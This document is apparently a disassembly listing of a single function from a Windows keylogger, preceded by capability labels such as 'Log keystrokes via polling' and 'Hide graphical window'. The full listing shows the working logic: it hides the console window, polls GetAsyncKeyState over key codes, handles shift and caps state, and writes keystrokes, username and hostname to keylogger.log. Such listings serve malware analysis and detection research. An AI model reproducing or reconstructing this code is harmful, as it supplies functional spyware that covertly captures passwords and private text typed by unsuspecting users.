Function at 0x40106e
Capabilities:
Hide graphical window
Log keystrokes via polling
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
nop
mov eax, 0xfffffff5
push eax
call sub.kernel32.dll_GetStdHandle
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetConsoleMode
mov eax, dword [ebp - 8]
and eax, 0xfffffffe
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetConsoleMode
mov eax, 0x40202c
push eax
mov eax, str.keylogger.log
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, 0x400
push eax
call sub.msvcrt.dll_malloc
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, 0x400
push eax
call sub.msvcrt.dll_malloc
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, str.USERNAME
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, str.COMPUTERNAME
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
cmp eax, 0
je 0x40110f
jmp 0x401127
mov eax, str.Error_opening_file
push eax
call sub.msvcrt.dll_perror
add esp, 4
mov eax, 1
jmp 0x40131b
call fcn.00401000
mov ecx, dword [ebp - 0x10]
push ecx
mov ecx, dword [ebp - 0x14]
push ecx
push eax
mov eax, str._n_Logger_started__s__Hostname:__s__Username:__s___n
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_fprintf
add esp, 0x14
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, 0
mov dword [ebp - 0x18], eax
mov eax, 1
mov dword [ebp - 0x1c], eax
mov eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0
je 0x40118d
call sub.kernel32.dll_FreeConsole
call sub.kernel32.dll_GetConsoleWindow
mov ecx, 0
push ecx
push eax
call sub.user32.dll_ShowWindow
mov eax, 8
mov byte [ebp - 0x21], al
movzx eax, byte [ebp - 0x21]
cmp eax, 0xff
jg 0x401305
jmp 0x4011b6
movzx eax, byte [ebp - 0x21]
mov ecx, eax
inc eax
mov byte [ebp - 0x21], al
jmp 0x401195
movzx eax, byte [ebp - 0x21]
push eax
call sub.user32.dll_GetAsyncKeyState
movsx eax, ax
cmp eax, 0xffff8001
jne 0x401300
mov eax, 0x40208b
push eax
mov eax, str.keylogger.log
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0xc], eax
mov eax, 0
mov dword [ebp - 0x18], eax
mov eax, 0x14
push eax
call sub.user32.dll_GetKeyState
movsx eax, ax
cmp eax, 0
jge 0x401220
mov eax, dword [ebp - 0x18]
cmp eax, 0
je 0x401218
mov eax, 0
jmp 0x40121d
mov eax, 1
mov dword [ebp - 0x18], eax
mov eax, 0x10
push eax
call sub.user32.dll_GetKeyState
movsx eax, ax
cmp eax, 0
jge 0x401252
mov eax, dword [ebp - 0x18]
cmp eax, 0
je 0x40124a
mov eax, 0
jmp 0x40124f
mov eax, 1
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0
je 0x401273
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_toupper
add esp, 4
mov byte [ebp - 0x21], al
jmp 0x401283
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_tolower
add esp, 4
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0xc]
push eax
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_putc
add esp, 8
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_isprint
add esp, 4
cmp eax, 0
jne 0x4012db
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_isspace
add esp, 4
cmp eax, 0
jne 0x4012db
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_isalnum
add esp, 4
cmp eax, 0
jne 0x4012db
jmp 0x4012f4
mov eax, dword [ebp - 0x1c]
cmp eax, 0
je 0x4012f4
movzx eax, byte [ebp - 0x21]
push eax
call sub.msvcrt.dll_putchar
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
jmp 0x4011aa
jmp 0x40118d
leave
ret